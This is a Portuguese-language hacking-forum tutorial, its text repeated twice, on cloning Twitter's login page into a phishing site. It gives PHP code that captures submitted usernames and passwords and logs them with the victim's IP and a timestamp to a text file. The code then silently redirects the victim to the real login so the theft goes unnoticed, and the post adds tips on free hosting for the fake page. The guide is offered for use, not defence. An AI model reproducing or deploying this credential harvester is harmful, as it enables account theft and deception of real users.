Como criar pagina fake - #Script Defenders
Página 1 de 1
Como criar pagina fake - #Script Defenders
Criando página fake
Me impressiona a quantidade de pessoas com dificuldade em 'fakear' uma página existente. Já recebi inúmeras mensagens com pessoas pedindo ajuda para tal.
Vou mostrar que é relativamente simples.
Neste tutorial simples de meio de semana, entre uma prova e um trabalho, vamos criar uma página fake simples. Nosso alvo é o Twitter (escolhido à dedo).
Primeiramente, vamos navegar até a página que desejamos 'fakear' (novo verbo?). Como queremos a página inicial (de login), vamos simplesmente abrí-lo no navegador.
Agora, precisamos obter imagens, folhas de estilo e outras mídias que fazem a página funcionar. Para isso, dê um [Ctrl] + [S] na página. Salve-o em uma pasta em seu computador, com o nome 'index'.
Note que o navegador criou a pasta 'index.htm' e a pasta 'index_arquivos' (ou 'index_files').
Trabalharemos com a linguagem de programação web PHP. Para começar, vamos renomear o arquivo salvo 'index.htm' para 'index.php'.
Abra o arquivo 'index.php' com um editor de códigos (ou mesmo o Bloco de notas). Agora, vamos precisar localizar o formulário de login.
Na página que será fakeada, ainda aberta em nosso navegador, vamos localizar alguns textos que possam nos facilitar encontrar o formulário de login no código HTML.
Note que dentro do campo de login temos a palavra 'Nome de usuário ou e-mail', em placeholder.
"Placeholder" é um recurso de HTML5 que cria um texto em um controle que desaparece quando o campo recebe foco, e reaparece após perder o foco, caso o campo esteja vazio.
No código HTML que abrimos do arquivo 'index.php', vamos procurar ([Ctrl] + [F]) pelo texto "Nome de usuário ou e-mail".
Encontrei essa linha:
(sempre achei que o Twitter usava o recurso 'placeholder' do HTML5, mas a verdade é que eles simulam um placeholder (o porquê eu não sei))
Agora, basta um conhecimento mínimo em HTML: um formulário é indicado pela tag <form>. Exemplo:
Veja como se inicia ('<form') e como termina ('</form>') um formulário em HTML. Vamos usar o olhar crítico e tentar julgar que formulário corresponde ao login.
Use o bom-senso. Temos grandes chances de que o texto que encontramos usando o [Ctrl] + [F] esteja entre o início e o fim do formulário. Bons editores de códigos, com recursos como colorização do código, podem te ajudar (e muito!).
Neste caso (do Twitter), temos:
Agora vamos precisar mudar o "action" (ação) do formulário, já que ele está apontando para a página do Twitter.
Se não inserirmos nada no action, o renderizador HTML do navegador automaticamente o definirá como sendo a página atual. Neste caso, faremos:
Código HTML:
Vamos verificar também o método (method) do formulário. Para logins, costuma-se sempre usar "post", mas também é possível usar "get" (embora os dados enviados sejam vistos pela URL).
Neste caso, o método é 'post'.
Vamos guardar também os nomes dos campos de textos que queremos obter. Agora o que vale é sua visão.
No código do formulário, o temos em ordem: o label (nome de um campo) 'Nome de usuário ou e-mail', o campo de login, o label 'Senha' e o campo de senha.
Precisamos obter os nomes (name) desses campos (input). Usaremos os campos session[username_or_email] e session[password]. Note que trata-se de um array (vetor) 'session'. Você pode alterar os nomes, mas não é interessante.
Ok, vamos ao topo (primeira linha) do código HTML da página (index.php) e iniciar a programar o que salvará as senhas para nós.
Precisamos ver se o login e a senha estão setadas.
Mas, vamos dar outro exemplo: digamos que o nome do campo de login seja apenas 'username_or_email', e não 'session[username_or_email]'. Neste caso, obteríamos este campo da seguinte forma:
E se o método fosse 'get', usaríamos '$_GET'.
Continuando o código, estamos dentro de uma condicional IF. Isto quer dizer que o código que escrevermos agora, até o fechamento com '}', só será executado caso o login e a senha estejam setados.
Vamos jogar cada um para uma variável, para ficar mais fácil na hora de re-obter estes dados (menos caracteres para digitar). Vamos obter também o IP e a data/hora atual:
Vamos agora redirecionar o usuário à página de login verdadeira, mas mantendo os dados enviados pelo formulário, para que o usuário se logue normalmente, sem saber do que ocorreu.
Para isso, adicionamos um HTTP Header com redirecionamento para o "action" original do formulário e status 307.
Agora nós devemos criar o arquivo 'log.txt' (você pode colocar outro nome ou mesmo outra pasta, mas terá que alterar no 'fopen' do código). Dependendo do servidor, é necessário dar CHMOD 777 (permissão total (escrita e leitura)) neste arquivo. Isto é feito pelo gerenciador de arquivos (como um cliente FTP).
Onde hospedar? Precisamos de um servidor que suporte PHP.
Isto é extremamente fácil de achar. Procure 'free php webhost' no Google.
A partir daí, basta enviar todos os arquivos.
O problema é que servidores gratuitos costumam excluir contas com páginas fake.
Como (na verdade) páginas fake não são minha praia, vou deixar esta pergunta para que alguém mais 'do ramo' possa responder.
Até a próxima!
Me impressiona a quantidade de pessoas com dificuldade em 'fakear' uma página existente. Já recebi inúmeras mensagens com pessoas pedindo ajuda para tal.
Vou mostrar que é relativamente simples.
Neste tutorial simples de meio de semana, entre uma prova e um trabalho, vamos criar uma página fake simples. Nosso alvo é o Twitter (escolhido à dedo).
Primeiramente, vamos navegar até a página que desejamos 'fakear' (novo verbo?). Como queremos a página inicial (de login), vamos simplesmente abrí-lo no navegador.
Agora, precisamos obter imagens, folhas de estilo e outras mídias que fazem a página funcionar. Para isso, dê um [Ctrl] + [S] na página. Salve-o em uma pasta em seu computador, com o nome 'index'.
Note que o navegador criou a pasta 'index.htm' e a pasta 'index_arquivos' (ou 'index_files').
Trabalharemos com a linguagem de programação web PHP. Para começar, vamos renomear o arquivo salvo 'index.htm' para 'index.php'.
Abra o arquivo 'index.php' com um editor de códigos (ou mesmo o Bloco de notas). Agora, vamos precisar localizar o formulário de login.
Na página que será fakeada, ainda aberta em nosso navegador, vamos localizar alguns textos que possam nos facilitar encontrar o formulário de login no código HTML.
Note que dentro do campo de login temos a palavra 'Nome de usuário ou e-mail', em placeholder.
"Placeholder" é um recurso de HTML5 que cria um texto em um controle que desaparece quando o campo recebe foco, e reaparece após perder o foco, caso o campo esteja vazio.
No código HTML que abrimos do arquivo 'index.php', vamos procurar ([Ctrl] + [F]) pelo texto "Nome de usuário ou e-mail".
Encontrei essa linha:
- Código:
<span>Nome de usuário ou e-mail</span>
(sempre achei que o Twitter usava o recurso 'placeholder' do HTML5, mas a verdade é que eles simulam um placeholder (o porquê eu não sei))
Agora, basta um conhecimento mínimo em HTML: um formulário é indicado pela tag <form>. Exemplo:
- Código:
<form action="acao" method="método">
<!-- código do formulário -->
</form>
Veja como se inicia ('<form') e como termina ('</form>') um formulário em HTML. Vamos usar o olhar crítico e tentar julgar que formulário corresponde ao login.
Use o bom-senso. Temos grandes chances de que o texto que encontramos usando o [Ctrl] + [F] esteja entre o início e o fim do formulário. Bons editores de códigos, com recursos como colorização do código, podem te ajudar (e muito!).
Neste caso (do Twitter), temos:
- Código:
<form action="https://twitter.com/sessions?phx=1" class="js-signin signin" method="post">
<fieldset class="textbox">
<label class="username js-username">
<span>Nome de usuário ou e-mail</span>
<input class="js-username-field email-input" type="text" value="" name="session[username_or_email]" autocomplete="on"></label>
<label class="password js-password">
<span>Senha</span>
<input class="js-password-field" type="password" value="" name="session[password]"></label>
</fieldset>
<fieldset class="subchck">
<label class="remember">
<input type="checkbox" value="1" name="remember_me">
<span>Lembrar-me</span>
</label>
<button type="submit" class="btn submit">Entrar</button>
</fieldset>
<input type="hidden" name="scribe_log">
<input type="hidden" name="redirect_after_login" value="">
<div class="divider"></div>
<p>
<a class="forgot" href="http://twitter.com/account/resend_password">Esqueceu sua senha?</a><br>
<a class="mobile has-sms" href="http://twitter.com/account/complete">Já utiliza o Twitter via mensagem de texto?</a>
</p>
</form>
Agora vamos precisar mudar o "action" (ação) do formulário, já que ele está apontando para a página do Twitter.
Se não inserirmos nada no action, o renderizador HTML do navegador automaticamente o definirá como sendo a página atual. Neste caso, faremos:
Código HTML:
- Código:
<form action="" class="js-signin signin" method="post">
Vamos verificar também o método (method) do formulário. Para logins, costuma-se sempre usar "post", mas também é possível usar "get" (embora os dados enviados sejam vistos pela URL).
Neste caso, o método é 'post'.
Vamos guardar também os nomes dos campos de textos que queremos obter. Agora o que vale é sua visão.
No código do formulário, o temos em ordem: o label (nome de um campo) 'Nome de usuário ou e-mail', o campo de login, o label 'Senha' e o campo de senha.
Precisamos obter os nomes (name) desses campos (input). Usaremos os campos session[username_or_email] e session[password]. Note que trata-se de um array (vetor) 'session'. Você pode alterar os nomes, mas não é interessante.
Ok, vamos ao topo (primeira linha) do código HTML da página (index.php) e iniciar a programar o que salvará as senhas para nós.
Precisamos ver se o login e a senha estão setadas.
- Código:
<?php
if(isset($_POST['session']['username_or_email']) AND isset($_POST['session']['password'])) {
Mas, vamos dar outro exemplo: digamos que o nome do campo de login seja apenas 'username_or_email', e não 'session[username_or_email]'. Neste caso, obteríamos este campo da seguinte forma:
- Código:
$_POST['username_or_email']; // name="username_or_email"
$_POST['session']['username_or_email']; // name="session[username_or_email]"
E se o método fosse 'get', usaríamos '$_GET'.
Continuando o código, estamos dentro de uma condicional IF. Isto quer dizer que o código que escrevermos agora, até o fechamento com '}', só será executado caso o login e a senha estejam setados.
Vamos jogar cada um para uma variável, para ficar mais fácil na hora de re-obter estes dados (menos caracteres para digitar). Vamos obter também o IP e a data/hora atual:
- Código:
$login = $_POST['session']['username_or_email'];
$senha = $_POST['session']['password'];
$ip = $_SERVER['REMOTE_ADDR'];
$data = date("d/m/Y H:i:s");
- Código:
$abrir = fopen("log.txt", "a+"); // abrimos o arquivo para edição, adicionando novo conteúdo sem apagar o conteúdo anterior
fwrite($abrir, "\nLogin: $login
Senha: $senha
IP: $ip
Data: $data\n"); // adicionamos uma linha ao início e ao final, para separar melhor com 2 linhas cada registro ('\n' é o mesmo que um Enter)
fclose($abre); // fechamos o arquivo
Vamos agora redirecionar o usuário à página de login verdadeira, mas mantendo os dados enviados pelo formulário, para que o usuário se logue normalmente, sem saber do que ocorreu.
Para isso, adicionamos um HTTP Header com redirecionamento para o "action" original do formulário e status 307.
- Código:
header("Location: https://twitter.com/sessions?phx=1", TRUE, 307);
exit; // em seguida, vamos parar a execução
} // e fechar a condicional 'IF'
// aí abaixo, o código original da página fake:
?>
<!DOCTYPE html>
(...)
Agora nós devemos criar o arquivo 'log.txt' (você pode colocar outro nome ou mesmo outra pasta, mas terá que alterar no 'fopen' do código). Dependendo do servidor, é necessário dar CHMOD 777 (permissão total (escrita e leitura)) neste arquivo. Isto é feito pelo gerenciador de arquivos (como um cliente FTP).
Onde hospedar? Precisamos de um servidor que suporte PHP.
Isto é extremamente fácil de achar. Procure 'free php webhost' no Google.
A partir daí, basta enviar todos os arquivos.
O problema é que servidores gratuitos costumam excluir contas com páginas fake.
Como (na verdade) páginas fake não são minha praia, vou deixar esta pergunta para que alguém mais 'do ramo' possa responder.
Até a próxima!
Tópicos semelhantes
» Como achar sites vulneraveis - #Script Defenders
» Como criar um projeto com abas
» Como criar um capturador de cores Hex ||VB||
» Hacked By Script Defenders
» AnonyMail - #Script Defenders
» Como criar um projeto com abas
» Como criar um capturador de cores Hex ||VB||
» Hacked By Script Defenders
» AnonyMail - #Script Defenders
Página 1 de 1
Permissões neste sub-fórum
Não podes responder a tópicos
|
|
Qui Jul 04, 2013 10:39 pm por FAK3R
» Pedido Havij
Qua maio 15, 2013 11:21 am por Lotus_DNS
» ajuda aki por favor
Seg maio 06, 2013 8:14 pm por iambanana
» Browser password decryptor
Seg maio 06, 2013 6:03 pm por iambanana
» Compilador de c/c++
Sex Dez 28, 2012 6:41 am por s7L
» OLa novato
Sex Dez 28, 2012 6:09 am por s7L
» Como achar sites vulneraveis - #Script Defenders
Sex Dez 28, 2012 1:24 am por andrebyxc
» Anon_Br#ServerTakingDOwn
Ter Dez 25, 2012 5:31 am por peguinhas
» Hacked By Script Defenders
Ter Dez 18, 2012 8:20 pm por sh4d0w